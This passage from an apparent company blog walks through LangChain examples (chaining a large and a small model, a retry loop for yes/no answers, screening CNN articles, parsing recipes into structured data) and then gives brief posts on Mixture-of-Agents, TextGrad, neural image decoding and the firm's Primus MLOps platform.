Yes, the Sagrada Família is located in Barcelona, Spain. It is a large Roman Catholic basilica designed by the renowned architect Antoni Gaudí. Construction of the Sagrada Família began in 1882 and it remains unfinished to this day, although work continues with the aim of completing it in the coming years. The basilica is one of Barcelona's most iconic landmarks and a UNESCO World Heritage Site.
:::
:::

Simple!

If you do this same request [with the OpenAI API](https://platform.openai.com/docs/guides/chat-completions/overview) then you get the response in `message = completion.choices[0].message.content`.  LangChain encapsulates those details so that you can think about what you're doing instead of working to accommodate the API.

That's useful because LangChain requests to other AI APIs, like AWS Bedrock, Anthropic, or Google Vertex look just like LangChain requests to OpenAI.  This example of sending a request to Claude 3.5 Sonnet looks exactly like the example above that uses OpenAI.  Even though the APIs and models have different details.

```python
from langchain_aws import ChatBedrock

model = ChatBedrock(
    model_id="anthropic.claude-3-5-sonnet-20240620-v1:0",
)

model.invoke("Is the Sagrada Família located in Barcelona?.").content
```

:::conversation{title="request from application to AWS Bedrock" kind="request"}
:::message{role="user"}
Is the Sagrada Família located in Barcelona?
:::
:::

:::conversation{title="response from AWS Bedrock to the application" kind="response"}
:::message{role="assistant"}
Yes, the Sagrada Família is located in Barcelona, Spain.\
More specifically:

1. It is situated in the Eixample district of Barcelona.
2. The full name of the church is the Basílica i Temple Expiatori de la Sagrada Família (Basilica and Expiatory Church of the Holy Family).3. It is one of the most famous works of the Catalan architect Antoni Gaudí.
4. Construction of the Sagrada Família began in 1882 and is still ongoing, making it one of the world's longest-running architectural projects.
5. It is a major landmark and tourist attraction in Barcelona, known for its unique and intricate design that combines Gothic and Art Nouveau forms.
6. Despite being incomplete, the church was consecrated and declared a minor basilica by Pope Benedict XVI in 2010.\
The Sagrada Família is not only located in Barcelona but is also considered one of the city's most iconic symbols and a must-see attraction for visitors to the Catalan capital.
:::
:::

Sorting out the details of the differences between the different AI APIs and models could consume hours of your time up front.  And complications related to managing those details could cost you even more time and delayed progress in the future.  Shifting responsibility for those details into LangChain keeps you focused on your goals.

### Follow along and run the examples

You can experience everything in the article yourself, for free, without setting up anything on your computer.  All the [example notebooks](https://github.com/AnthusAI/LangChain-Examples) are hosted on GitHub.  The quickest way to run them is to go to this [Google Colab notebook](https://colab.research.google.com/drive/1WVYbaX7yAIkLbkUo7FkXYMhalv_q9M-S?usp=sharing) for the first example.

## Example 2: Two models, one task

You can use the capability of connecting to many different models to use the right model for the right job within a larger application.

As an example, what if what we really want from the previous examples is a yes/no classification?  The model has a lot to say, but really all we want is a yes or a no.

We know that adding instructions to the prompt to tell the model to give us only a "yes" or "no" will generally hurt the accuracy of the answer.[@tam-2024-let-me-speak-freely-a-study]  So, to get the best accuracy, we want to let the model speak freely.  Then we need to categorize the answer as either a yes or a no.  We can use another LLM call for that.

But summarizing an answer into either a "yes" or a "no" is pretty simple.  We probably don't need an expensive model for that.  That's how LangChain helps us here: We can use an expensive model for the first question where the accuracy really matters, and then we can use a cheaper model for the final classification.

An AI conversation is a message list at heart, and we can pass a message list around from one model to another.  We can pass in our `user` message (the prompt with the question) and a large model like GPT 4o can answer the question as accurately as possible using chain-of-thought prompting or other techniques.  We add that response to the message history as an `assistant` message.  Then we can append a follow-up question to that message list and pass it to a different model.  The final `assistant` message will be generated by the second model.

::image{src="diagrams/LangChain/Two-Models-One-Task.png" layout="full" alt="Two models, one task."}

It's straightforward to implement ideas like that with LangChain.  Here's the code for implementing the above diagram to use GPT 4o for the answer and GPT 4o mini for the yes/no classification:

```python
from langchain_openai import ChatOpenAI
from langchain_core.messages import HumanMessage, AIMessage

chain_1 = ChatOpenAI(temperature=0.7, model_name="gpt-4o")
chain_2 = ChatOpenAI(temperature=0, model_name="gpt-4o-mini")

question = "Is the Sagrada Família located in Barcelona?"

messages = [
  HumanMessage(
    content= \
    f"Question: {question}\n" + \
    "Please provide a detailed explanation before answering whether the statement is true or false."
  )
]

detailed_response = chain_1.invoke(messages)
detailed_answer = detailed_response.content
print("Detailed answer:", detailed_answer)

messages.extend([
  AIMessage(content=detailed_answer),
  HumanMessage(
    content= \
    "Based on the previous messages, categorize the response strictly as either 'Yes' or 'No'."
  )
])

yes_no_response = chain_2.invoke(messages)
yes_no_answer = yes_no_response.content.strip()
print("Yes/No Answer:", yes_no_answer)
```

:::conversation{title="request from application to GPT 4o" kind="request"}
:::message{role="user"}
Is the Sagrada Família located in Barcelona?
:::
:::

:::conversation{title="response from GPT 4o to the application" kind="response"}
:::message{role="assistant"}
Yes, the statement is true: the Sagrada Família is located in Barcelona.

The Basílica i Temple Expiatori de la Sagrada Família, commonly known as the Sagrada Família, is an iconic basilica in Barcelona, Spain. Designed by the renowned Catalan architect Antoni Gaudí, it is one of the most famous landmarks in the city and a UNESCO World Heritage Site.\
Construction of the Sagrada Família began in 1882, and Gaudí took over the project in 1883, transforming it with his distinctive architectural and engineering style that combines Gothic and Art Nouveau forms. Despite Gaudí's death in 1926, work on the basilica has continued, guided by his designs and models.\
The Sagrada Família is located in the Eixample district of Barcelona, specifically in the neighborhood of La Sagrada Família, which derives its name from the basilica. Its central location and towering presence make it a significant cultural and tourist attraction in Barcelona.

Therefore, it is accurate to say that the Sagrada Família is located in Barcelona.
:::
:::

:::conversation{title="request from application to GPT 4o mini" kind="request"}
:::message{role="user"}
Is the Sagrada Família located in Barcelona?
:::
:::message{role="assistant"}
Yes, the statement is true: the Sagrada Família is located in Barcelona.

The Basílica i Temple Expiatori de la Sagrada Família, commonly known as the Sagrada Família, is an iconic basilica in Barcelona, Spain. Designed by the renowned Catalan architect Antoni Gaudí, it is one of the most famous landmarks in the city and a UNESCO World Heritage Site.\
Construction of the Sagrada Família began in 1882, and Gaudí took over the project in 1883, transforming it with his distinctive architectural and engineering style that combines Gothic and Art Nouveau forms. Despite Gaudí's death in 1926, work on the basilica has continued, guided by his designs and models.\
The Sagrada Família is located in the Eixample district of Barcelona, specifically in the neighborhood of La Sagrada Família, which derives its name from the basilica. Its central location and towering presence make it a significant cultural and tourist attraction in Barcelona.

Therefore, it is accurate to say that the Sagrada Família is located in Barcelona.
:::
:::message{role="user"}
Based on the previous messages, categorize the response strictly as either 'Yes' or 'No'.
:::
:::

:::conversation{title="response from GPT 4o mini to the application" kind="response"}
:::message{role="assistant"}
Yes
:::
:::

This two-step pattern gives us the best of both worlds: High accuracy from a large and expensive model, and data structuring from a smaller and cheaper model.

LangChain of course makes it easy to try different APIs and different models.  Here's the same two-step sequence, but using Claude 3.5 Connect and Llama 3

```python
from langchain_aws import ChatBedrock
from langchain_core.messages import HumanMessage, AIMessage

chain_1 = ChatBedrock(model_id="anthropic.claude-3-5-sonnet-20240620-v1:0")
chain_2 = ChatBedrock(model_id="meta.llama3-8b-instruct-v1:0")

question = "Is the Sagrada Família located in Barcelona?"

messages = [
  HumanMessage(content=f"Question: {question}\nPlease provide a detailed explanation before answering whether the statement is true or false.")
]

detailed_response = chain_1.invoke(messages)
detailed_answer = detailed_response.content
print("Detailed answer:", detailed_answer)

messages.extend([
  AIMessage(content=detailed_answer),
  HumanMessage(
    content = \
    "Based on the previous messages, categorize the response strictly as either 'Yes' or 'No'.")
])

yes_no_response = chain_2.invoke(messages)
yes_no_answer = yes_no_response.content.strip()
print("Yes/No Answer:", yes_no_answer)
```

You could even send one request to OpenAI and the follow-up request to AWS Bedrock.  LangChain handles the details so that you can focus on your solution.

## Example 3: Add a safeguard retry loop {#safeguard-retry-loops}

LLMs can be talkative.  You just want a "yes" or a "no" but they'll say things like, "The answer is: No."

We have seen how you can add a subsequent LLM call to classify a wordy answer into the "yes" or "no" that we're looking for.  But, what if the second LLM call produces something other than "yes" or "no"?  As you work with smaller and cheaper models you'll need to work harder to meet in the middle with them.  There are lots of tools for that, and one of the most important is the retry loop as a safeguard.

After we call the LLM the second time to get a "yes" or a  "no", we can check to make sure we got a valid answer.  If not, then we can loop back and ask the second LLM a follow-up question.

::image{src="diagrams/LangChain/Safeguard-Retry-Loop.png" layout="full" alt="Safeguard retry loop."}

```python
from langchain_core.messages import HumanMessage, AIMessage
from langchain_aws import ChatBedrock

chain_1 = ChatBedrock(model_id="anthropic.claude-3-5-sonnet-20240620-v1:0")
chain_2 = ChatBedrock(model_id="mistral.mistral-small-2402-v1:0")

question = "Is the Sagrada Família located in Barcelona?"

cot_response = chain_1.invoke([HumanMessage(content=question)])
detailed_answer = cot_response.content

message_history = [
  HumanMessage(content=question),
  AIMessage(content=detailed_answer),
  HumanMessage(
    content = \
    "Based on the previous messages, categorize the response strictly as either 'Yes' or 'No'."
  )
]

max_retries = 3
retry_count = 0

while retry_count < max_retries:
  yes_no_response = chain_2.invoke(message_history)
  yes_no_answer = yes_no_response.content.strip().lower()
  
  if yes_no_answer in ["yes", "no"]:
    print(f"Yes/No Answer: {yes_no_answer.capitalize()}")
    break
  else:
    print(f"Attempt {retry_count + 1}: Invalid response '{yes_no_answer}'. Retrying...")
    retry_count += 1
    
    if retry_count < max_retries:
      message_history.append(HumanMessage(content="Your previous response was not valid. Please answer ONLY with 'Yes' or 'No', without any additional text or punctuation."))

if retry_count == max_retries:
  print("Failed to get a valid Yes/No answer after maximum retries.")
```

Now, we can use really cheap models that aren't so reliable.  But it's okay beause we can keep retrying until it works.  In this example, Mistral Small (24.02) had trouble but it eventually got there after a couple of retries.  And, since it's such a cheap model, that was still cheaper than doing one call with the more-expensive model.

:::conversation{title="request from application to Claude 3.5 Sonnet" kind="request"}
:::message{role="user"}
Is the Sagrada Família located in Barcelona?
:::
:::

:::conversation{title="response from Claude 3.5 Sonnet to the application" kind="response"}
:::message{role="assistant"}
To answer this question, let's explore some key information about the Sagrada Família:

1. The Sagrada Família is a large, unfinished Roman Catholic church.

2. It was designed by the famous Catalan architect Antoni Gaudí.
3. Construction of the Sagrada Família began in 1882 and is still ongoing, making it one of the longest-running construction projects in the world.
4. The church is known for its unique, intricate design that combines Gothic and Art Nouveau styles with Gaudí's distinctive organic forms.
5. It is one of the most popular tourist attractions in Spain, receiving millions of visitors each year.
6. The Sagrada Família is indeed located in Barcelona, the capital city of the autonomous community of Catalonia in Spain.
7. Specifically, it is situated in the Eixample district of Barcelona, at the northern part of the city center.
8. The full address is Carrer de Mallorca, 401, 08013 Barcelona, Spain.
9. The church has become an iconic symbol of Barcelona and is often featured in photographs and representations of the city.
10. In 2010, Pope Benedict XVI consecrated the church and proclaimed it a minor basilica.

Given these facts, we can conclude:\
True. The Sagrada Família is indeed located in Barcelona, Spain. It is one of the city's most recognizable landmarks and a major architectural attraction in the Catalan capital.
:::
:::

:::conversation{title="request from application to Mistral Small (24.02)" kind="request"}
:::message{role="user"}
Is the Sagrada Família located in Barcelona?
:::
:::message{role="assistant"}
To answer this question, let's explore some key information about the Sagrada Família:

1. The Sagrada Família is a large, unfinished Roman Catholic church.

2. It was designed by the famous Catalan architect Antoni Gaudí.
3. Construction of the Sagrada Família began in 1882 and is still ongoing, making it one of the longest-running construction projects in the world.
4. The church is known for its unique, intricate design that combines Gothic and Art Nouveau styles with Gaudí's distinctive organic forms.
5. It is one of the most popular tourist attractions in Spain, receiving millions of visitors each year.
6. The Sagrada Família is indeed located in Barcelona, the capital city of the autonomous community of Catalonia in Spain.
7. Specifically, it is situated in the Eixample district of Barcelona, at the northern part of the city center.
8. The full address is Carrer de Mallorca, 401, 08013 Barcelona, Spain.
9. The church has become an iconic symbol of Barcelona and is often featured in photographs and representations of the city.
10. In 2010, Pope Benedict XVI consecrated the church and proclaimed it a minor basilica.

Given these facts, we can conclude:\
True. The Sagrada Família is indeed located in Barcelona, Spain. It is one of the city's most recognizable landmarks and a major architectural attraction in the Catalan capital.
:::
:::message{role="user"}
Based on the previous messages, categorize the response strictly as either 'Yes' or 'No'.
:::
:::

:::conversation{title="response from Mistral Small (24.02) to the application" kind="response"}
:::message{role="assistant"}
yes.
:::
:::

:::conversation{title="request from application to Mistral Small (24.02)" kind="request"}
:::message{role="user"}
Is the Sagrada Família located in Barcelona?
:::
:::message{role="assistant"}
To answer this question, let's explore some key information about the Sagrada Família:

1. The Sagrada Família is a large, unfinished Roman Catholic church.

2. It was designed by the famous Catalan architect Antoni Gaudí.
3. Construction of the Sagrada Família began in 1882 and is still ongoing, making it one of the longest-running construction projects in the world.
4. The church is known for its unique, intricate design that combines Gothic and Art Nouveau styles with Gaudí's distinctive organic forms.
5. It is one of the most popular tourist attractions in Spain, receiving millions of visitors each year.
6. The Sagrada Família is indeed located in Barcelona, the capital city of the autonomous community of Catalonia in Spain.
7. Specifically, it is situated in the Eixample district of Barcelona, at the northern part of the city center.
8. The full address is Carrer de Mallorca, 401, 08013 Barcelona, Spain.
9. The church has become an iconic symbol of Barcelona and is often featured in photographs and representations of the city.
10. In 2010, Pope Benedict XVI consecrated the church and proclaimed it a minor basilica.

Given these facts, we can conclude:\
True. The Sagrada Família is indeed located in Barcelona, Spain. It is one of the city's most recognizable landmarks and a major architectural attraction in the Catalan capital.
:::
:::message{role="user"}
Based on the previous messages, categorize the response strictly as either 'Yes' or 'No'.
:::
:::message{role="assistant"}
yes.
:::
:::message{role="user"}
Your previous response was not valid. Please answer ONLY with 'Yes' or 'No', without any additional text or punctuation.
:::
:::

:::conversation{title="response from Mistral Small (24.02) to the application" kind="response"}
:::message{role="assistant"}
Yes
:::
:::

## Example 4: Use an LLM to process data {#use-llm-to-process-data}

This example processes a [HuggingFace dataset](https://huggingface.co/datasets/AyoubChLin/CNN_News_Articles_2011-2022) contains thousands of news articles from CNN.  Let's use an LLM to screen for articles about space exploration missions:

```python
from datasets import load_dataset
import random
from tqdm import tqdm
from langchain_openai import ChatOpenAI
from langchain.prompts import PromptTemplate

# Load the dataset
dataset = load_dataset("AyoubChLin/CNN_News_Articles_2011-2022", split="train")

# Sample a percentage of the data (e.g., 1%)
sample_size = int(len(dataset) * 0.01)
sampled_data = random.sample(list(dataset), sample_size)

# Use GPT-4 for the model
model = ChatOpenAI(model_name="gpt-4o-mini")

# Create a prompt template
prompt = PromptTemplate.from_template(
    "Does the following news article discuss space exploration missions? Answer with 'Yes' or 'No':\n\n{text}"
)

chain = prompt | model

# Process sampled data
for item in tqdm(sampled_data, desc="Processing articles", unit="article"):
    text = item["text"]
    response = chain.invoke({"text": text})
    
    # Extract the content from AIMessage
    response_text = response.content.strip().lower()
    
    if response_text == "yes":
        print("Text discusses space flight:\n", text)
```

That took a little over 12 minutes, checking 1% of the news articles to find these that discussed space exploration:

```
Processing articles:  24%|██▎       | 380/1610 [02:54<15:30,  1.32article/s]Text discusses space flight:
 Sign up for CNN's Wonder Theory science newsletter. Explore the universe with news on fascinating discoveries, scientific advancements and more. (CNN)The early warning system to detect asteroids that pose a threat to Earth, operated by NASA and its collaborators around the world, got to flex its muscles. It successfully detected a small asteroid 6 1/2 feet (2 meters) wide just hours before it smashed into the atmosphere over the Norwegian Sea before disintegrating on Friday, March 11, according to a statement from NASA's Jet Propulsion Laboratory on Tuesday. That's too small to pose any hazard to Earth, NASA said. A still from an animation showing asteroid 2022 EB5's predicted orbit around the sun before crashing into the Earth's atmosphere on March 11.Often such tiny asteroids slip through the surveillance net, and 2022 EB5 -- as the asteroid was named -- is only the fifth of this kind to be spotted and tracked prior to impact. (Fear not, a larger asteroid would be discovered and trac...
Processing articles:  30%|███       | 490/1610 [03:44<07:55,  2.35article/s]Text discusses space flight:
 Sign up for CNN's Wonder Theory science newsletter. Explore the universe with news on fascinating discoveries, scientific advancements and more. (CNN)Total lunar eclipses, a multitude of meteor showers and supermoons will light up the sky in 2022.The new year is sure to be a sky-gazer's delight with plenty of celestial events on the calendar. There is always a good chance that the International Space Station is flying overhead. And if you ever want to know what planets are visible in the morning or evening sky, check The Old Farmer's Almanac's visible planets guide.Here are the top sky events of 2022 so you can have your binoculars and telescope ready. Full moons and supermoonsRead MoreThere are 12 full moons in 2022, and two of them qualify as supermoons. This image, taken in Brazil, shows a plane passing in front of the supermoon in March 2020. Definitions of a supermoon can vary, but the term generally denotes a full moon that is brighter and closer to Earth than normal and thus app...
Processing articles:  35%|███▍      | 558/1610 [04:21<07:36,  2.31article/s]Text discusses space flight:
 Story highlights Crowds hand each member of the group a red rose While secluded, the crew has few luxuries The group asks scientists to put the data it gathered to good useThe group's isolation simulates a 520-day mission to MarsSix volunteer astronauts emerged from a 'trip' to Mars on Friday, waving and grinning widely after spending  520 days in seclusion.  Crowds handed each member of the group a red rose after their capsule opened at the facility in Moscow.  Scientists placed the six male volunteers in isolation in 2010 to simulate a mission to Mars, part of the European Space Agency's experiment to determine challenges facing future space travelers. The six, who are between ages 27 and 38, lived in a tight space the size of six buses in a row,  said Rosita Suenson, the agency's program officer for human spaceflight.During the period, the crew dressed in blue jumpsuits showered on rare occasions and survived on canned food.  Messages from friends and family came with a lag based on...
Processing articles:  56%|█████▋    | 908/1610 [06:57<05:01,  2.33article/s]Text discusses space flight:
 Story highlightsGene Seymour: Gene Roddenberry may have created "Star Trek," but Leonard Nimoy and character of Spock are inseparableHe says Nimoy had many other artistic endeavors, photography, directing, poetry, but he was, in the end, SpockGene Seymour is a film critic who has written about music, movies and culture for The New York Times, Newsday, Entertainment Weekly and The Washington Post. The opinions expressed in this commentary are solely those of the writer. (CNN)Everybody on the planet knows that Gene Roddenberry created Mr. Spock, the laconic, imperturbable extra-terrestrial First Officer for the Starship Enterprise. But Mr. Spock doesn't belong to Roddenberry, even though he is the grand exalted progenitor of everything that was, is, and forever will be "Star Trek."Mr. Spock belongs to Leonard Nimoy, who died Friday at age 83. And though he doesn't take Spock with him, he and Spock remain inseparable. Zachary Quinto, who plays Spock in the re-booted feature film incarnati...
Processing articles: 100%|██████████| 1610/1610 [12:31<00:00,  2.14article/s]
```

You can run this example with [this notebook](https://colab.research.google.com/drive/18fFCAuElG4LqunEj2_Ipd7_HWt1WHR4a?usp=sharing) on Google Colab.

## Example 5: Structuring data using LangChain output parsers {#structuring-data}

We've got one avocado.  We have a [huge collection of recipes](https://huggingface.co/datasets/corbt/all-recipes), where each one is a raw, unstructured text string.  What can we make with one avocado?

You can use [LangChain output parsers](https://python.langchain.com/v0.1/docs/modules/model_io/output_parsers/) to extract structured data from raw text.  Here's an example for extracting the number of avocados that each recipe requires:

```python
class RecipeInfo(BaseModel):
    title: str = Field(description="The title of the recipe")
    avocado_count: float = Field(description="The number of avocados required in the recipe")
    ingredients: List[str] = Field(description="The full list of ingredients")
    directions: List[str] = Field(description="The list of directions to prepare the recipe")

parser = PydanticOutputParser(pydantic_object=RecipeInfo)

prompt = PromptTemplate(
    template="Extract the following information from the recipe:\n{format_instructions}\n{recipe_text}\n",
    input_variables=["recipe_text"],
    partial_variables={"format_instructions": parser.get_format_instructions()},
)

chain = prompt | model | parser

recipe_info = chain.invoke({"recipe_text": recipe_text})

print(f"Recipe: {recipe_info.title}")
print(f"Avocados required: {recipe_info.avocado_count}")
```

When we call that chain with `recipe_text` as input, we'll get four things: The number of avocados as a floating-point number, and the title, ingredients, and directions as three separate strings.  We can easily access them as attributes of the response, like: `recipe_info.avocado_count` and `recipe_info.title`.

The mechanics of telling the LLM how to respond with structured data and then parsing the response are complicated.  If you're in the middle of trying to solve a problem then you don't want to stop and spend an hour on yak shaving to reinvent that wheel.  When you use the `PydanticOutputParser`, LangChain knows how to add the formatting instructions (as the `format_instructions` variable) to your prompt to tell the model to respond in JSON format with the schema that you requested.  Then, it handles parsing the output.  You could implement that stuff yourself but you have bigger things you need to do.

Note all the JSON schema stuff it added to the prompt here:

:::conversation{title="request from application to Claude 3.5 Sonnet" kind="request"}
:::message{role="user"}
Extract the following information from the recipe:\
The output should be formatted as a JSON instance that conforms to the JSON schema below.\
As an example, for the schema &#123;"properties": &#123;"foo": &#123;"title": "Foo", "description": "a list of strings", "type": "array", "items": &#123;"type": "string"&#125;&#125;&#125;, "required": ["foo"]&#125;the object &#123;"foo": ["bar", "baz"]&#125; is a well-formatted instance of the schema. The object &#123;"properties": &#123;"foo": ["bar", "baz"]&#125;&#125; is not well-formatted.

Here is the output schema:\
&#96;&#96;&#96;\
&#123;"properties": &#123;"title": &#123;"title": "Title", "description": "The title of the recipe", "type": "string"&#125;, "avocado_count": &#123;"title": "Avocado Count", "description": "The number of avocados required in the recipe", "type": "number"&#125;, "ingredients": &#123;"title": "Ingredients", "description": "The full list of ingredients", "type": "array", "items": &#123;"type": "string"&#125;&#125;, "directions": &#123;"title": "Directions", "description": "The list of directions to prepare the recipe", "type": "array", "items": &#123;"type": "string"&#125;&#125;&#125;, "required": ["title", "avocado_count", "ingredients", "directions"]&#125;\
&#96;&#96;&#96;

Avocado Toast

Ingredients:\
- 1 slice of bread\
- 1/2 ripe avocado\
- Salt and pepper to taste\
- Optional toppings: red pepper flakes, lemon juice, or feta cheese

Instructions:

1. Toast the bread until golden and crispy.
2. Cut the avocado in half and remove the pit. Scoop out the flesh of one half.
3. Mash the avocado in a bowl and spread it on the toasted bread.
4. Sprinkle with salt and pepper.
5. Add any optional toppings if desired.
6. Serve immediately and enjoy your avocado toast!
:::
:::

:::conversation{title="response from Claude 3.5 Sonnet to the application" kind="response"}
:::message{role="assistant"}
&grave;&grave;&grave;json\
&lbrace;\
&quot;title&quot;: &quot;Avocado Toast&quot;,\
&quot;avocado_count&quot;: 0.5,\
&quot;ingredients&quot;: &lbrack;\
&quot;1 slice of bread&quot;,\
&quot;1/2 ripe avocado&quot;,\
&quot;Salt and pepper to taste&quot;,\
&quot;Optional toppings: red pepper flakes, lemon juice, or feta cheese&quot;\
&rbrack;,\
&quot;directions&quot;: &lbrack;\
&quot;Toast the bread until golden and crispy.&quot;,\
&quot;Cut the avocado in half and remove the pit. Scoop out the flesh of one half.&quot;,\
&quot;Mash the avocado in a bowl and spread it on the toasted bread.&quot;,\
&quot;Sprinkle with salt and pepper.&quot;,\
&quot;Add any optional toppings if desired.&quot;,\
&quot;Serve immediately and enjoy your avocado toast!&quot;\
&rbrack;\
&rbrace;\
&grave;&grave;&grave;
:::
:::

See the `"avocado_count": 0.5`?  That's the important part here.  The model understands to convert "1/2 ripe avocado" into a `0.5` value for that item, because LangChain generated clear formatting instructions for the model to tell it what we want.  Please remember that this only works with larger, more-sophisticated models because formatting instructions consume some of the model's attention and lower its performance on the larger task.  Larger models like the ones from OpenAI that have been fine-tuned for producing valid JSON and can handle it.  But, if you want the best-possible accuracy then you should avoid formatting instructions in your critical prompts.  Use formatting instructions in follow-up questions instead, after the delicate decisions have already been made.

LangChain provides a variety of options for output parsers, but the [`PydanticOutputParser`](https://python.langchain.com/v0.1/docs/modules/model_io/output_parsers/types/pydantic/) is one of the most powerful because it supports types for the items it extracts, like the floating-point type for the number of avocados in this example.

The code for this example does a keyword scan for the word "avocado" first and then inspects the recipes it finds, looking for the ones that require one or fewer avocados:

```
Processing 270 recipes out of 27070 avocado recipes found.

Recipe: Halibut Veracruz
Avocados required: 2.0
Skipping this recipe. It requires too many avocados (2.0).

--------------------------------------------------

Recipe: Blt Spinach Wrap Recipe
Avocados required: 2.0
Skipping this recipe. It requires too many avocados (2.0).

--------------------------------------------------

Recipe: Chicken And Avocado Salad With Lime And Cilantro
Avocados required: 2.0
Skipping this recipe. It requires too many avocados (2.0).

--------------------------------------------------

Recipe: Crunchy Quesadilla Stack
Avocados required: 1.0
Great! We can make this recipe with our one avocado.

Title:
Crunchy Quesadilla Stack

Ingredients:
- 1 -2 cup shredded cooked chicken (amt to your liking)
- 1 (10 ounce) can Rotel diced tomatoes
- 1 cup shredded cheddar cheese
- 1 small avocado, chopped
- 14 cup sliced green onion (about 2 onions)
- 1 teaspoon garlic salt
- 10 flour tortillas
- 1 (16 ounce) can refried beans
- 5 corn tostadas, fried
- cooking spray
- olive
- jalapeno pepper
- green chili
- bell pepper

Directions:
- Combine chicken, tomatoes, cheese, avacado, green onions, and garlic salt.
- Mix well.
- Spread about 1/3 cup of beans to edge of tortillas.
- Top each with tostada shell.
- Spoon chicken mixture over shell; top with remaining flour tortillas.
- Grill both sides over medium heat in skillet coated with cooking spray until golden brown.
- Cut into wedges.
- Serve with sour cream, salsa, etc.

--------------------------------------------------

Recipe: Southwest Chicken Chopped Salad
Avocados required: 2.0
Skipping this recipe. It requires too many avocados (2.0).

--------------------------------------------------

...
```

You can run this example with [this notebook](https://colab.research.google.com/drive/1KBJ0HY025wgk8KWcmaA8NSHX-P2X9a7L?usp=sharing) on Google Colab.

## Focus on your own project

These examples aim to demonstrate that LangChain can enable you to do big things without a lot of code.  It can handle details that you don't want to think about when you're solving real problems under pressure.  It's reliable and actively supported, and it doesn't require you to change how you do things.  We use it a lot, and we think it could help you, too.

## References

::citations{format="apa"}

---

# Mixture of Agents

> Together AI is the latest to demonstrate that agentic orchestration of cheap LLMs can produce better results than directly using expensive LLMs.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-07-14

Canonical: https://anth.us/articles/mixture-of-agents/

Together AI is the latest to demonstrate that agentic orchestration of cheap LLMs can produce better results than directly using expensive LLMs, in [*Mixture-of-Agents Enhances Large Language Model Capabilities*](https://arxiv.org/pdf/2406.04692)

::image{
  src="images/posts/mixture-of-agents.jpg"
  alt="Agentic orchestration of cheap LLMs can produce better results than directly using expensive LLMs"
}

::image{
  src="images/posts/mixture-of-agents-spider.jpg"
  alt="A spider chart showing results from multi-agent orchestration."
}

---

# Predictive Attention Mechanism

> As a demonstration of an attention mechanism, researchers demonstrated a system that can reconstruct the images that a monkey saw from brain activity.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-07-05

Canonical: https://anth.us/articles/predictive-attention-mechanism/

As a demonstration of an attention mechanism, researchers at Radboud University, Nijmegen, Netherlands demonstrated a system that can reconstruct the images that a monkey saw from brain activity in [*PAM: Predictive Attention Mechanism for Neural Decoding of Visual Perception*](https://www.biorxiv.org/content/10.1101/2024.06.04.596589v1).

::image{
  src="images/posts/predictive-attention-mechanism-neural-decoding.png"
  alt="A system that can reconstruct what a monkey saw from brain activity."
}

The top row of images is what the monkey saw.

The bottom row of images were reconstructed by a deep neural network from monkey brain activity.

::image{
  src="images/posts/predictive-attention-mechanism-latent-inversion.png"
  alt="Using latent inversion to generate images."
}

Lower loss values to the left.  The one on the far left looks nearly perfect.

---

# TextGrad

> In the paper "TextGrad: Automatic 'Differentiation' via Text", researchers from Stanford introduce a framework for automatic differentiation via text, for LLMs.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-07-02

Canonical: https://anth.us/articles/textgrad/

::image{src="images/posts/TextGrad.png" alt="TextGrad: Backpropagation for agentic LLM processes."}

In the paper [TextGrad: Automatic “Differentiation” via Text](https://arxiv.org/abs/2406.07496), researchers from Stanford introduce a framework for automatic differentiation via text, for LLMs.

This overall idea is the key to automating prompt engineering.  To automate prompt engineering, you need a way to test your prompt and figure out what's wrong with it and then apply that idea to editing the prompt.  TextGrad is about figuring out what's wrong.

It operates in an agentic paradigm, where each node in an execution graph can be an LLM request, or maybe some other thing.
For the LLM requests, it establishes sort of the equivalent of a 'loss function' in machine learning, for comparing how close the output at that stage was to the ideal completion.

::image{src="images/posts/TextGrad_gradient.png" alt="An example of a text gradient with TextGrad"}

Then it propagates feedback backwards through the agentic graph to the beginning, to give the entire agentic system feedback for how to improve the prompts.

::image{
  src="images/posts/TextGrad_algorithm.png"
  alt="The overall algorithm for text-based backpropagation in agentic LLM applications."
}

---

# Primus

> Primus is our MLOps platform. We built it as the core infrastructure for the classifier lab we built for Call Criteria, and it has managed the full lifecycle of classifiers and AI agents at production scale for years: Hundreds of scorecards, millions of interactions scoredReviewers correct verdicts…

By [Ryan Porter](https://anth.us/ryan) · Published 2024-03-01

Canonical: https://anth.us/articles/primus/

## An MLOps platform built from a running lab

[Primus](https://primus.anth.us) is our platform for training, evaluating, deploying, and monitoring classifiers, the work known as MLOps. We built it as the core infrastructure for [the lab we built for Call Criteria](/blog/call-criteria/), where hundreds of call-scoring classifiers were built, measured and corrected by reviewers, and we have run it for years across millions of scored interactions. It manages the complete machine learning lifecycle for classifiers and AI agents at production scale.

### Built for feedback at scale

Primus was designed for lab work: creating classifiers, measuring them, and refining them from reviewer feedback. At its core it runs a reinforcement learning from human feedback (RLHF) loop continuously in production, so each scorecard's verdicts track its reviewers' judgment more closely over time.

### What it manages

- **Model development**: creating and experimenting with AI agents and classification models
- **Training pipeline**: training workflows that incorporate reviewer feedback
- **Evaluation**: held-out tests on every change, with metrics built for imbalanced data such as [Gwet's AC1](https://primus.anth.us/documentation/evaluation-metrics)
- **Deployment**: a new version serves only when it clears held-out review on the slices that matter
- **Monitoring**: accuracy and drift tracked in production
- **Continuous learning**: retraining from reviewer corrections, with a record of what changed and who approved it

### The feedback loop

1. A classifier scores content in production.
2. Reviewers audit a share of the verdicts, agree or disagree, and say why.
3. Every disagreement is a labelled example aimed at the cases the model was least sure about, and the explanation becomes stated policy.
4. The model refits on the corrections and a new version is evaluated against held-out review.
5. The version that scores better is promoted, on the record.

That loop has run in production for years. Once a scorecard is aligned, the reviewers step back and the human labelling effort on it drops, with ongoing feedback keeping it aligned rather than rebuilding it.

### Any model as a backend

- **Multi-model**: hosted LLMs, fine-tuned LLMs served with vLLM, small language models on SageMaker Serverless Inference, and decision models like Jev, each treated as one more classifier backend
- **Human in the loop**: reviewer feedback is a first-class input, not an afterthought
- **Serverless on AWS**: deployed in the client's own AWS account so the models, the data, and the record belong to them
- **Production scale**: hundreds of classifiers running at once, each with its own gate and its own reviewers

### What it has produced

For Call Criteria, Primus has managed hundreds of classification models and AI agents that have scored millions of calls, with accuracy climbing month over month on the record. The same loop is what we offer today as the [classifier lab](/blog/primus-classifier-lab/), and what we run on the [new decision models](/decision-models/). If you have a high-volume judgment task, [here's how an engagement works](/engage).

The product site is [primus.anth.us](https://primus.anth.us).

---

# Maximize Profit, Not Intelligence

